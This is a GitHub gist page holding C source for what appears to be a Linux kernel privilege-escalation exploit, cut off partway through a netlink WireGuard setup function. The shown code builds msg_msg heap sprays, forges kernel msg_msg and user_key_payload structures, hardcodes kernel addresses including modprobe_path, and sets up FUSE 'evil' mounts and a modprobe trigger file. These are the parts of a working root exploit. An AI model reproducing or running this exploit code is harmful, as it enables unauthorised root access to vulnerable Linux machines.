Created
March 30, 2023 14:04
-
-
Save Albocoder/c35cedbf39702e0b49994c7d0dc5f6d3 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <arpa/inet.h> | |
#include <endian.h> | |
#include <errno.h> | |
#include <fcntl.h> | |
#include <net/if.h> | |
#include <net/if_arp.h> | |
#include <netinet/in.h> | |
#include <sched.h> | |
#include <setjmp.h> | |
#include <signal.h> | |
#include <stdarg.h> | |
#include <stdbool.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <errno.h> | |
#include <err.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
#include <sys/mount.h> | |
#include <sys/prctl.h> | |
#include <sys/resource.h> | |
#include <sys/socket.h> | |
#include <sys/stat.h> | |
#include <sys/syscall.h> | |
#include <sys/time.h> | |
#include <sys/types.h> | |
#include <sys/uio.h> | |
#include <sys/wait.h> | |
#include <sys/epoll.h> | |
#include <sys/utsname.h> | |
#include <unistd.h> | |
#include <linux/capability.h> | |
#include <linux/genetlink.h> | |
#include <linux/if_addr.h> | |
#include <linux/if_ether.h> | |
#include <linux/if_link.h> | |
#include <linux/if_tun.h> | |
#include <linux/in6.h> | |
#include <linux/ip.h> | |
#include <linux/neighbour.h> | |
#include <linux/net.h> | |
#include <linux/netlink.h> | |
#include <linux/rtnetlink.h> | |
#include <linux/tcp.h> | |
#include <linux/veth.h> | |
#include <linux/pfkeyv2.h> | |
#include <linux/xfrm.h> | |
#include <linux/msg.h> | |
#include <sys/resource.h> | |
#include <linux/keyctl.h> | |
#include <net/if.h> | |
#include <pthread.h> | |
//#include <sys/ipc.h> | |
//#include <sys/shm.h> | |
#include <sys/socket.h> | |
#include <linux/if_packet.h> | |
#include <net/ethernet.h> | |
#include "fuse_evil.h" | |
#define SIOCETHTOOL 0x8946 | |
#define SLAB_32_OBJS_PER_SLAB 64 | |
#define SLAB_32_CPU_PARTIAL 30 | |
#define SLAB_1k_OBJS_PER_SLAB 32 | |
#define SLAB_1k_CPU_PARTIAL 6 | |
#define SLAB_2k_OBJS_PER_SLAB 16 | |
#define SLAB_2k_CPU_PARTIAL 6 | |
#define SLAB_4k_OBJS_PER_SLAB 8 | |
#define SLAB_4k_CPU_PARTIAL 2 | |
#define SIZE_OF_MSG_MSG 48 | |
#define SIZE_OF_MSG_MSGSEG 8 | |
#define OOB_PAGE 0xf | |
#define PAGE_SIZE 0x1000 | |
#define TTY_NUM 32 | |
#define LAST_PAGE_GAP_BYTES 0x88 | |
#define MSG_LEN 0x1018 | |
#define CLEAR_LIST 0 | |
#define PRINT_STACK_DEBUG 1 | |
#define PRINT_PAGE_ALLOC 1 << 1 | |
#define PRINT_PAGE_FREE 1 << 2 | |
#define PRINT_MSG 1 << 3 | |
#define PRINT_USER_KEY_PAYLOAD 1 << 4 | |
#define PRINT_OOB_INFO 1 << 5 | |
#define PRINT_ANY_PROC 1 << 6 | |
#define PRINT_PAGE_CUR_ORDER 1 << 7 | |
#define PRINT_PAGE_FREE_DETAIL 1 << 8 | |
#define PRINT_XATTR 1 << 9 | |
#define PRINT_OOB_DETAIL 1 << 10 | |
#define PRINT_TARGET_SLAB 1 << 11 | |
#define PRINT_MSG_DETAIL 1 << 12 | |
#define SIZE_OF_USER_KEY_PAYLOAD 2049 | |
#define SIZE_OF_USER_KEY_PAYLOAD_SLAB 4096 | |
#define HEAP_SPRAY_LOOP 2 | |
#define N_PROCS 8 | |
#define N_LOOP N_PROCS | |
#define FUSE_MOUNT1 "evil1" | |
#define FUSE_MOUNT2 "evil2" | |
#define PROC_MODPROBE_TRIGGER "/tmp/modprobe_trigger" | |
#define MAX_QBYTES_IN_QUEUE 1024 | |
#define BASE_MSGTYPE 0x1 | |
#define MSG_HEADER_SIZE 0x30 | |
#define MSG_SPARY 0x37 | |
uint64_t addr_single_start = 0xffffffff8134b7f0; | |
uint64_t addr_single_stop = 0xffffffff8134b830; | |
uint64_t addr_single_next = 0xffffffff8134b810; | |
uint64_t addr_modprobe_path = 0xffffffff82e6e220; | |
int64_t kaslr_offset = 0; | |
int pause_flag = 1; | |
char *evil_buffer; | |
uint64_t msg_next = NULL, msglist_prev = NULL, msglist_next = NULL; | |
int fuse_fd = -1; | |
void *fuse_mem_addr = NULL; | |
int msqid[0x1000]; | |
int max_msg; | |
//#include "sandbox.h" | |
struct list_head { | |
struct list_head *next, *prev; | |
}; | |
struct msgbuf_key { | |
long mtype; | |
char mtext[1]; | |
}; | |
struct spary_msg_arg { | |
int msqid; | |
int start; | |
int loop; | |
int size; | |
char *payload; | |
void *dst; | |
}; | |
struct msg | |
{ | |
long mtype; | |
char mtext[1]; | |
}; | |
struct fake_msg_msg { | |
struct list_head m_list; | |
long m_type; | |
size_t m_ts; /* message text size */ | |
void *next; | |
void *security; | |
/* the actual message follows immediately */ | |
}; | |
typedef struct | |
{ | |
int done; | |
pthread_mutex_t mutex; | |
pthread_mutex_t proc_mutex[N_PROCS+1]; | |
} shared_data; | |
struct spray_argv { | |
void *addr; | |
int size; | |
pthread_mutex_t *mutex; | |
int *count; | |
}; | |
static shared_data *free_mutex; | |
static shared_data *spray_lock; | |
static shared_data *two_loop; | |
static shared_data *shell_lock; | |
static shared_data *hang_threads; | |
struct fake_user_key_payload { | |
void *next; | |
void *callback; | |
short unsigned int datalen; | |
}; | |
static unsigned long long procid; | |
static __thread int skip_segv; | |
static __thread jmp_buf segv_env; | |
void *recvmymsg(int _msqid, int size, void *memdump, int type, int free) { | |
if (!free) | |
free = MSG_COPY; | |
if (msgrcv(_msqid, (void *) memdump, size, type, | |
IPC_NOWAIT | free | MSG_NOERROR) == -1) { | |
if(errno != ENOMSG) { | |
perror("msgrcv"); | |
exit(1); | |
} | |
} | |
} | |
int msg_spray(int num_msg, int size, int loop) { | |
int i; | |
#ifdef MSG_DEBUG | |
printf("[*] msg_spray: num_msg: %d, size: %d, loop: %d\n", num_msg, size, loop); | |
#endif | |
for (i = 0; i<num_msg; i++) { | |
if ((msqid[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { | |
perror("msgget"); | |
exit(1); | |
} | |
#ifdef MSG_DEBUG | |
printf("[*] msg_spray: msqid[%d]: %d\n", i, msqid[i]); | |
#endif | |
sendmymsg(msqid[i], 0, loop, size); | |
} | |
return i; | |
} | |
void sendmymsg(int _msqid, int start, int loop, int size) | |
{ | |
int i, buff_size = size-MSG_HEADER_SIZE; | |
int qbytes = MAX_QBYTES_IN_QUEUE; | |
struct msgbuf_key *msg_key = malloc(sizeof(long) + buff_size); | |
memset(&msg_key->mtext[0], MSG_SPARY, buff_size); | |
for (i = start; i < start+loop; i++) { | |
msg_key->mtype = BASE_MSGTYPE + i; | |
//printf("[*] sendmymsg: msqid: %d, mtype: %ld\n", _msqid, msg_key->mtype); | |
int ret = msgsnd(_msqid, msg_key, buff_size, 0); | |
//printf("[*] sendmymsg: msqid: %d, ret: %d\n", _msqid, ret); | |
if (ret == -1) { | |
printf("msgsnd error\n"); | |
exit(1); | |
} | |
} | |
free(msg_key); | |
} | |
void load_symbols() | |
{ | |
struct utsname version; | |
char buf[1024]; | |
char *symbol; | |
int ret; | |
FILE *fp; | |
u_int64_t addr; | |
ret = uname(&version); | |
if (ret != 0) { | |
printf("Failed to retrieve kernel version using uname()\n"); | |
exit(EXIT_FAILURE); | |
} | |
printf("Kernel version %s\n", version.release); | |
memset(buf, 0, sizeof(buf)); | |
snprintf(buf, sizeof(buf), "symbols/System.map-%s", version.release); | |
fp = fopen(buf, "r"); | |
if (fp == NULL) { | |
printf("Failed to open symbol file %s\n", buf); | |
return; | |
} | |
while(fgets(buf, sizeof(buf), fp) != NULL) { | |
buf[16] = 0; | |
addr = strtoul(buf, NULL, 16); | |
symbol = &buf[19]; | |
if (!strcmp(symbol, "single_start\n")) { | |
addr_single_start = addr; | |
printf("0x%016llx single_start\n", addr_single_start); | |
} | |
if (!strcmp(symbol, "single_stop\n")) { | |
addr_single_stop = addr; | |
printf("0x%016llx single_stop\n", addr_single_stop); | |
} | |
if (!strcmp(symbol, "single_next\n")) { | |
addr_single_next = addr; | |
printf("0x%016llx single_next\n", addr_single_next); | |
} | |
if (!strcmp(symbol, "modprobe_path\n")) { | |
addr_modprobe_path = addr; | |
printf("0x%016llx modprobe_path\n", addr_modprobe_path); | |
} | |
} | |
fclose(fp); | |
if (!addr_single_start || | |
!addr_single_stop || | |
!addr_single_next || | |
!addr_modprobe_path) { | |
printf("Missing at least one symbols.\n"); | |
exit(EXIT_FAILURE); | |
} | |
} | |
#define NONFAILING(...) \ | |
({ \ | |
int ok = 1; \ | |
__atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \ | |
if (_setjmp(segv_env) == 0) { \ | |
__VA_ARGS__; \ | |
} else \ | |
ok = 0; \ | |
__atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \ | |
ok; \ | |
}) | |
static bool write_file(const char* file, const char* what, ...) | |
{ | |
char buf[1024]; | |
va_list args; | |
va_start(args, what); | |
vsnprintf(buf, sizeof(buf), what, args); | |
va_end(args); | |
buf[sizeof(buf) - 1] = 0; | |
int len = strlen(buf); | |
int fd = open(file, O_WRONLY | O_CLOEXEC); | |
if (fd == -1) | |
return false; | |
if (write(fd, buf, len) != len) { | |
int err = errno; | |
close(fd); | |
errno = err; | |
return false; | |
} | |
close(fd); | |
return true; | |
} | |
struct nlmsg { | |
char* pos; | |
int nesting; | |
struct nlattr* nested[8]; | |
char buf[4096]; | |
}; | |
static void netlink_init(struct nlmsg* nlmsg, int typ, int flags, | |
const void* data, int size) | |
{ | |
memset(nlmsg, 0, sizeof(*nlmsg)); | |
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; | |
hdr->nlmsg_type = typ; | |
hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; | |
memcpy(hdr + 1, data, size); | |
nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); | |
} | |
static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data, | |
int size) | |
{ | |
struct nlattr* attr = (struct nlattr*)nlmsg->pos; | |
attr->nla_len = sizeof(*attr) + size; | |
attr->nla_type = typ; | |
if (size > 0) | |
memcpy(attr + 1, data, size); | |
nlmsg->pos += NLMSG_ALIGN(attr->nla_len); | |
} | |
static void netlink_nest(struct nlmsg* nlmsg, int typ) | |
{ | |
struct nlattr* attr = (struct nlattr*)nlmsg->pos; | |
attr->nla_type = typ; | |
nlmsg->pos += sizeof(*attr); | |
nlmsg->nested[nlmsg->nesting++] = attr; | |
} | |
static void netlink_done(struct nlmsg* nlmsg) | |
{ | |
struct nlattr* attr = nlmsg->nested[--nlmsg->nesting]; | |
attr->nla_len = nlmsg->pos - (char*)attr; | |
} | |
static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type, | |
int* reply_len, bool dofail) | |
{ | |
if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting) | |
exit(1); | |
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; | |
hdr->nlmsg_len = nlmsg->pos - nlmsg->buf; | |
struct sockaddr_nl addr; | |
memset(&addr, 0, sizeof(addr)); | |
addr.nl_family = AF_NETLINK; | |
ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, | |
(struct sockaddr*)&addr, sizeof(addr)); | |
if (n != (ssize_t)hdr->nlmsg_len) { | |
if (dofail) | |
exit(1); | |
return -1; | |
} | |
n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); | |
if (reply_len) | |
*reply_len = 0; | |
if (n < 0) { | |
if (dofail) | |
exit(1); | |
return -1; | |
} | |
if (n < (ssize_t)sizeof(struct nlmsghdr)) { | |
errno = EINVAL; | |
if (dofail) | |
exit(1); | |
return -1; | |
} | |
if (hdr->nlmsg_type == NLMSG_DONE) | |
return 0; | |
if (reply_len && hdr->nlmsg_type == reply_type) { | |
*reply_len = n; | |
return 0; | |
} | |
if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) { | |
errno = EINVAL; | |
if (dofail) | |
exit(1); | |
return -1; | |
} | |
if (hdr->nlmsg_type != NLMSG_ERROR) { | |
errno = EINVAL; | |
if (dofail) | |
exit(1); | |
return -1; | |
} | |
errno = -((struct nlmsgerr*)(hdr + 1))->error; | |
return -errno; | |
} | |
static int netlink_send(struct nlmsg* nlmsg, int sock) | |
{ | |
return netlink_send_ext(nlmsg, sock, 0, NULL, true); | |
} | |
static int netlink_query_family_id(struct nlmsg* nlmsg, int sock, | |
const char* family_name, bool dofail) | |
{ | |
struct genlmsghdr genlhdr; | |
memset(&genlhdr, 0, sizeof(genlhdr)); | |
genlhdr.cmd = CTRL_CMD_GETFAMILY; | |
netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr)); | |
netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, family_name, | |
strnlen(family_name, GENL_NAMSIZ - 1) + 1); | |
int n = 0; | |
int err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n, dofail); | |
if (err < 0) { | |
return -1; | |
} | |
uint16_t id = 0; | |
struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN + | |
NLMSG_ALIGN(sizeof(genlhdr))); | |
for (; (char*)attr < nlmsg->buf + n; | |
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) { | |
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) { | |
id = *(uint16_t*)(attr + 1); | |
break; | |
} | |
} | |
if (!id) { | |
errno = EINVAL; | |
return -1; | |
} | |
recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); | |
return id; | |
} | |
static int netlink_next_msg(struct nlmsg* nlmsg, unsigned int offset, | |
unsigned int total_len) | |
{ | |
struct nlmsghdr* hdr = (struct nlmsghdr*)(nlmsg->buf + offset); | |
if (offset == total_len || offset + hdr->nlmsg_len > total_len) | |
return -1; | |
return hdr->nlmsg_len; | |
} | |
static void netlink_add_device_impl(struct nlmsg* nlmsg, const char* type, | |
const char* name) | |
{ | |
struct ifinfomsg hdr; | |
memset(&hdr, 0, sizeof(hdr)); | |
netlink_init(nlmsg, RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr, | |
sizeof(hdr)); | |
if (name) | |
netlink_attr(nlmsg, IFLA_IFNAME, name, strlen(name)); | |
netlink_nest(nlmsg, IFLA_LINKINFO); | |
netlink_attr(nlmsg, IFLA_INFO_KIND, type, strlen(type)); | |
} | |
static void netlink_add_device(struct nlmsg* nlmsg, int sock, const char* type, | |
const char* name) | |
{ | |
netlink_add_device_impl(nlmsg, type, name); | |
netlink_done(nlmsg); | |
int err = netlink_send(nlmsg, sock); | |
if (err < 0) { | |
} | |
} | |
static void netlink_add_veth(struct nlmsg* nlmsg, int sock, const char* name, | |
const char* peer) | |
{ | |
netlink_add_device_impl(nlmsg, "veth", name); | |
netlink_nest(nlmsg, IFLA_INFO_DATA); | |
netlink_nest(nlmsg, VETH_INFO_PEER); | |
nlmsg->pos += sizeof(struct ifinfomsg); | |
netlink_attr(nlmsg, IFLA_IFNAME, peer, strlen(peer)); | |
netlink_done(nlmsg); | |
netlink_done(nlmsg); | |
netlink_done(nlmsg); | |
int err = netlink_send(nlmsg, sock); | |
if (err < 0) { | |
} | |
} | |
static void netlink_add_hsr(struct nlmsg* nlmsg, int sock, const char* name, | |
const char* slave1, const char* slave2) | |
{ | |
netlink_add_device_impl(nlmsg, "hsr", name); | |
netlink_nest(nlmsg, IFLA_INFO_DATA); | |
int ifindex1 = if_nametoindex(slave1); | |
netlink_attr(nlmsg, IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1)); | |
int ifindex2 = if_nametoindex(slave2); | |
netlink_attr(nlmsg, IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2)); | |
netlink_done(nlmsg); | |
netlink_done(nlmsg); | |
int err = netlink_send(nlmsg, sock); | |
if (err < 0) { | |
} | |
} | |
static void netlink_add_linked(struct nlmsg* nlmsg, int sock, const char* type, | |
const char* name, const char* link) | |
{ | |
netlink_add_device_impl(nlmsg, type, name); | |
netlink_done(nlmsg); | |
int ifindex = if_nametoindex(link); | |
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); | |
int err = netlink_send(nlmsg, sock); | |
if (err < 0) { | |
} | |
} | |
static void netlink_add_vlan(struct nlmsg* nlmsg, int sock, const char* name, | |
const char* link, uint16_t id, uint16_t proto) | |
{ | |
netlink_add_device_impl(nlmsg, "vlan", name); | |
netlink_nest(nlmsg, IFLA_INFO_DATA); | |
netlink_attr(nlmsg, IFLA_VLAN_ID, &id, sizeof(id)); | |
netlink_attr(nlmsg, IFLA_VLAN_PROTOCOL, &proto, sizeof(proto)); | |
netlink_done(nlmsg); | |
netlink_done(nlmsg); | |
int ifindex = if_nametoindex(link); | |
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); | |
int err = netlink_send(nlmsg, sock); | |
if (err < 0) { | |
} | |
} | |
static void netlink_add_macvlan(struct nlmsg* nlmsg, int sock, const char* name, | |
const char* link) | |
{ | |
netlink_add_device_impl(nlmsg, "macvlan", name); | |
netlink_nest(nlmsg, IFLA_INFO_DATA); | |
uint32_t mode = MACVLAN_MODE_BRIDGE; | |
netlink_attr(nlmsg, IFLA_MACVLAN_MODE, &mode, sizeof(mode)); | |
netlink_done(nlmsg); | |
netlink_done(nlmsg); | |
int ifindex = if_nametoindex(link); | |
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); | |
int err = netlink_send(nlmsg, sock); | |
if (err < 0) { | |
} | |
} | |
static void netlink_add_geneve(struct nlmsg* nlmsg, int sock, const char* name, | |
uint32_t vni, struct in_addr* addr4, | |
struct in6_addr* addr6) | |
{ | |
netlink_add_device_impl(nlmsg, "geneve", name); | |
netlink_nest(nlmsg, IFLA_INFO_DATA); | |
netlink_attr(nlmsg, IFLA_GENEVE_ID, &vni, sizeof(vni)); | |
if (addr4) | |
netlink_attr(nlmsg, IFLA_GENEVE_REMOTE, addr4, sizeof(*addr4)); | |
if (addr6) | |
netlink_attr(nlmsg, IFLA_GENEVE_REMOTE6, addr6, sizeof(*addr6)); | |
netlink_done(nlmsg); | |
netlink_done(nlmsg); | |
int err = netlink_send(nlmsg, sock); | |
if (err < 0) { | |
} | |
} | |
#define IFLA_IPVLAN_FLAGS 2 | |
#define IPVLAN_MODE_L3S 2 | |
#undef IPVLAN_F_VEPA | |
#define IPVLAN_F_VEPA 2 | |
static void netlink_add_ipvlan(struct nlmsg* nlmsg, int sock, const char* name, | |
const char* link, uint16_t mode, uint16_t flags) | |
{ | |
netlink_add_device_impl(nlmsg, "ipvlan", name); | |
netlink_nest(nlmsg, IFLA_INFO_DATA); | |
netlink_attr(nlmsg, IFLA_IPVLAN_MODE, &mode, sizeof(mode)); | |
netlink_attr(nlmsg, IFLA_IPVLAN_FLAGS, &flags, sizeof(flags)); | |
netlink_done(nlmsg); | |
netlink_done(nlmsg); | |
int ifindex = if_nametoindex(link); | |
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); | |
int err = netlink_send(nlmsg, sock); | |
if (err < 0) { | |
} | |
} | |
static void netlink_device_change(struct nlmsg* nlmsg, int sock, | |
const char* name, bool up, const char* master, | |
const void* mac, int macsize, | |
const char* new_name) | |
{ | |
struct ifinfomsg hdr; | |
memset(&hdr, 0, sizeof(hdr)); | |
if (up) | |
hdr.ifi_flags = hdr.ifi_change = IFF_UP; | |
hdr.ifi_index = if_nametoindex(name); | |
netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr)); | |
if (new_name) | |
netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name)); | |
if (master) { | |
int ifindex = if_nametoindex(master); | |
netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex)); | |
} | |
if (macsize) | |
netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize); | |
int err = netlink_send(nlmsg, sock); | |
if (err < 0) { | |
} | |
} | |
static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev, | |
const void* addr, int addrsize) | |
{ | |
struct ifaddrmsg hdr; | |
memset(&hdr, 0, sizeof(hdr)); | |
hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6; | |
hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120; | |
hdr.ifa_scope = RT_SCOPE_UNIVERSE; | |
hdr.ifa_index = if_nametoindex(dev); | |
netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr, | |
sizeof(hdr)); | |
netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize); | |
netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize); | |
return netlink_send(nlmsg, sock); | |
} | |
static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev, | |
const char* addr) | |
{ | |
struct in_addr in_addr; | |
inet_pton(AF_INET, addr, &in_addr); | |
int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr)); | |
if (err < 0) { | |
} | |
} | |
static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev, | |
const char* addr) | |
{ | |
struct in6_addr in6_addr; | |
inet_pton(AF_INET6, addr, &in6_addr); | |
int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr)); | |
if (err < 0) { | |
} | |
} | |
static struct nlmsg nlmsg; | |
#define DEVLINK_FAMILY_NAME "devlink" | |
#define DEVLINK_CMD_PORT_GET 5 | |
#define DEVLINK_ATTR_BUS_NAME 1 | |
#define DEVLINK_ATTR_DEV_NAME 2 | |
#define DEVLINK_ATTR_NETDEV_NAME 7 | |
static struct nlmsg nlmsg2; | |
static void initialize_devlink_ports(const char* bus_name, const char* dev_name, | |
const char* netdev_prefix) | |
{ | |
struct genlmsghdr genlhdr; | |
int len, total_len, id, err, offset; | |
uint16_t netdev_index; | |
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); | |
if (sock == -1) | |
exit(1); | |
int rtsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); | |
if (rtsock == -1) | |
exit(1); | |
id = netlink_query_family_id(&nlmsg, sock, DEVLINK_FAMILY_NAME, true); | |
if (id == -1) | |
goto error; | |
memset(&genlhdr, 0, sizeof(genlhdr)); | |
genlhdr.cmd = DEVLINK_CMD_PORT_GET; | |
netlink_init(&nlmsg, id, NLM_F_DUMP, &genlhdr, sizeof(genlhdr)); | |
netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1); | |
netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1); | |
err = netlink_send_ext(&nlmsg, sock, id, &total_len, true); | |
if (err < 0) { | |
goto error; | |
} | |
offset = 0; | |
netdev_index = 0; | |
while ((len = netlink_next_msg(&nlmsg, offset, total_len)) != -1) { | |
struct nlattr* attr = (struct nlattr*)(nlmsg.buf + offset + NLMSG_HDRLEN + | |
NLMSG_ALIGN(sizeof(genlhdr))); | |
for (; (char*)attr < nlmsg.buf + offset + len; | |
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) { | |
if (attr->nla_type == DEVLINK_ATTR_NETDEV_NAME) { | |
char* port_name; | |
char netdev_name[IFNAMSIZ]; | |
port_name = (char*)(attr + 1); | |
snprintf(netdev_name, sizeof(netdev_name), "%s%d", netdev_prefix, | |
netdev_index); | |
netlink_device_change(&nlmsg2, rtsock, port_name, true, 0, 0, 0, | |
netdev_name); | |
break; | |
} | |
} | |
offset += len; | |
netdev_index++; | |
} | |
error: | |
close(rtsock); | |
close(sock); | |
} | |
#define DEV_IPV4 "172.20.20.%d" | |
#define DEV_IPV6 "fe80::%02x" | |
#define DEV_MAC 0x00aaaaaaaaaa | |
static void netdevsim_add(unsigned int addr, unsigned int port_count) | |
{ | |
char buf[16]; | |
sprintf(buf, "%u %u", addr, port_count); | |
if (write_file("/sys/bus/netdevsim/new_device", buf)) { | |
snprintf(buf, sizeof(buf), "netdevsim%d", addr); | |
initialize_devlink_ports("netdevsim", buf, "netdevsim"); | |
} | |
} | |
#define WG_GENL_NAME "wireguard" | |
enum wg_cmd { | |
WG_CMD_GET_DEVICE, | |
WG_CMD_SET_DEVICE, | |
}; | |
enum wgdevice_attribute { | |
WGDEVICE_A_UNSPEC, | |
WGDEVICE_A_IFINDEX, | |
WGDEVICE_A_IFNAME, | |
WGDEVICE_A_PRIVATE_KEY, | |
WGDEVICE_A_PUBLIC_KEY, | |
WGDEVICE_A_FLAGS, | |
WGDEVICE_A_LISTEN_PORT, | |
WGDEVICE_A_FWMARK, | |
WGDEVICE_A_PEERS, | |
}; | |
enum wgpeer_attribute { | |
WGPEER_A_UNSPEC, | |
WGPEER_A_PUBLIC_KEY, | |
WGPEER_A_PRESHARED_KEY, | |
WGPEER_A_FLAGS, | |
WGPEER_A_ENDPOINT, | |
WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, | |
WGPEER_A_LAST_HANDSHAKE_TIME, | |
WGPEER_A_RX_BYTES, | |
WGPEER_A_TX_BYTES, | |
WGPEER_A_ALLOWEDIPS, | |
WGPEER_A_PROTOCOL_VERSION, | |
}; | |
enum wgallowedip_attribute { | |
WGALLOWEDIP_A_UNSPEC, | |
WGALLOWEDIP_A_FAMILY, | |
WGALLOWEDIP_A_IPADDR, | |
WGALLOWEDIP_A_CIDR_MASK, | |
}; | |
static void netlink_wireguard_setup(void) | |
{ | |
const char ifname_a[] = "wg0"; | |
const char ifname_b[] = "wg1"; | |
const char ifname_c[] = "wg2"; | |
const char private_a[] = | |
"\xa0\x5c\xa8\x4f\x6c\x9c\x8e\x38\x53\xe2\xfd\x7a\x70\xae\x0f\xb2\x0f\xa1" | |
"\x52\x60\x0c\xb0\x08\x45\x17\x4f\x08\x07\x6f\x8d\x78\x43"; | |
const char private_b[] = | |
"\xb0\x80\x73\xe8\xd4\x4e\x91\xe3\xda\x92\x2c\x22\x43\x82\x44\xbb\x88\x5c" | |
"\x69\xe2\x69\xc8\xe9\xd8\x35\xb1\x14\x29\x3a\x4d\xdc\x6e"; | |
const char private_c[] = | |
"\xa0\xcb\x87\x9a\x47\xf5\xbc\x64\x4c\x0e\x69\x3f\xa6\xd0\x31\xc7\x4a\x15" | |
"\x53\xb6\xe9\x01\xb9\xff\x2f\x51\x8c\x78\x04\x2f\xb5\x42"; | |
const char public_a[] = | |
"\x97\x5c\x9d\x81\xc9\x83\xc8\x20\x9e\xe7\x81\x25\x4b\x89\x9f\x8e\xd9\x25" | |
"\xae\x9f\x09\x23\xc2\x3c\x62\xf5\x3c\x57\xcd\xbf\x69\x1c"; | |
const char public_b[] = | |
"\xd1\x73\x28\x99\xf6\x11\xcd\x89\x94\x03\x4d\x7f\x41\x3d\xc9\x57\x63\x0e" | |
"\x54\x93\xc2\x85\xac\xa4\x00\x65\xcb\x63\x11\xbe\x69\x6b"; | |
const char public_c[] = | |
"\xf4\x4d\xa3\x67\xa8\x8e\xe6\x56\x4f\x02\x02\x11\x45\x67\x27\x08\x2f\x5c" | |
"\xeb\xee\x8b\x1b\xf5\xeb\x73\x37\x34\x1b\x45\x9b\x39\x22"; | |
const uint16_t listen_a = 20001; | |
const uint16_t listen_b = 20002; | |
const uint16_t listen_c = 20003; | |
const uint16_t af_inet = AF_INET; | |
const uint16_t af_inet6 = AF_INET6; | |
const struct sockaddr_in endpoint_b_v4 = { | |
.sin_family = AF_INET, | |
.sin_port = htons(listen_b), | |
.sin_addr = {htonl(INADDR_LOOPBACK)}}; | |
const struct sockaddr_in endpoint_c_v4 = { | |
.sin_family = AF_INET, | |
.sin_port = htons(listen_c), | |
.sin_addr = {htonl(INADDR_LOOPBACK)}}; | |
struct sockaddr_in6 endpoint_a_v6 = {.sin6_family = AF_INET6, | |
.sin6_port = htons(listen_a)}; | |
endpoint_a_v6.sin6_addr = in6addr_loopback; | |
struct sockaddr_in6 endpoint_c_v6 = {.sin6_family = AF_INET6, | |
.sin6_port = htons(listen_c)}; | |
endpoint_c_v6.sin6_addr = in6addr_loopback; | |
const struct in_addr first_half_v4 = {0}; | |
const struct in_addr second_half_v4 = {(uint32_t)htonl(128 << 24)}; | |
const struct in6_addr first_half_v6 = {{{0}}}; | |
const struct in6_addr second_half_v6 = {{{0x80}}}; | |
const uint8_t half_cidr = 1; | |
const uint16_t persistent_keepalives[] = {1, 3, 7, 9, 14, 19}; | |
struct genlmsghdr genlhdr = {.cmd = WG_CMD_SET_DEVICE, .version = 1}; | |
int sock; | |
int id, err; | |
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); | |
if (sock == -1) { | |
return; | |
} | |
id = netlink_query_family_id(&nlmsg, sock, WG_GENL_NAME, true); | |
if (id == -1) | |
goto error; | |
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); | |
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_a, strlen(ifname_a) + 1); | |
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_a, 32); | |
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_a, 2); | |
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); | |
